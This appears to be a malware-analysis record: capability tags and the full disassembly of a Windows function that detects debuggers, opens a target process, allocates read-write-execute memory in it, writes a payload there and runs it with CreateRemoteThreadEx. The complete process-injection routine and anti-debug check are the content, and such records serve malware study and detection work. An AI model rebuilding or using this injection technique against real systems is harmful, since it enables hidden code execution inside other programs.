Function at 0x1400016f4
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
setne al
test al, al
je 0x140001749
mov r9d, 0x4030
lea r8, [0x14000b00c]
lea rax, str.IDI_NAHUI_DEBUGGER
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov eax, 1
jmp 0x140001a6d
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call dbg.GetPIDByName(char const*)
mov dword [0x14000f030], eax
mov eax, dword [0x14000f030]
test eax, eax
jne 0x14000179b
mov rax, qword [0x14000a210]
mov rdx, qword [rbp - 8]
mov r8, rdx
mov rdx, rax
lea rax, str._s_please_open_the_process:__s
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140001a6d
mov ecx, dword [0x14000f030]
mov rax, qword [0x14000a208]
mov rdx, qword [rbp - 8]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, str._s_trying_to_open_a_handle_to_process___s:_ld__n
mov rcx, rax
call dbg.printf
mov eax, dword [0x14000f030]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x14000f038], rax
mov rax, qword [0x14000f038]
test rax, rax
jne 0x140001836
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov r8d, dword [0x14000f030]
mov rax, qword [0x14000a210]
mov rcx, qword [rbp - 8]
mov dword [rsp + 0x20], edx
mov r9d, r8d
mov r8, rcx
mov rdx, rax
lea rax, str._s_couldnt_get_a_handle_to_the_process___s:_ld___error:__ld
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140001a6d
mov rdx, qword [0x14000f038]
mov rax, qword [0x14000a200]
mov r8, rdx
mov rdx, rax
lea rax, str._s_got_a_handle_to_the_process_n0x_p_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000f038]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x14000f040], rax
mov rax, qword [0x14000a200]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_allocated__zu_bytes_with_rwx_permissions_n
mov rcx, rax
call dbg.printf
mov rdx, qword [0x14000f040]
mov rax, qword [0x14000f038]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov edx, dword [0x14000f030]
mov rax, qword [0x14000a200]
mov rcx, qword [rbp - 8]
mov dword [rsp + 0x20], edx
mov r9, rcx
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_wrote__zu_bytes_to_process___s:_ld__memory_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000f040]
mov rcx, rax
mov rax, qword [0x14000f038]
lea rdx, [0x14000f034]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x14000a218], rax
mov rax, qword [0x14000a218]
test rax, rax
jne 0x1400019b3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x14000a210]
mov r8d, edx
mov rdx, rax
lea rax, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000f038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001a6d
mov rcx, qword [0x14000a218]
mov edx, dword [0x14000f034]
mov rax, qword [0x14000a200]
mov r9, rcx
mov r8d, edx
mov rdx, rax
lea rax, str._s_got_a_handle_to_the_thread___ld__n0x_p_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000a218]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x14000a200]
mov rdx, rax
lea rax, str._s_finished_executing_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000a208]
mov rdx, rax
lea rax, str._s_cleaning_up_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x14000a218]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14000f038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14000a200]
mov rdx, rax
lea rax, str._s_finished__see_you_next_time_n
mov rcx, rax
call dbg.printf
mov eax, 0
add rsp, 0x50
pop rbp
ret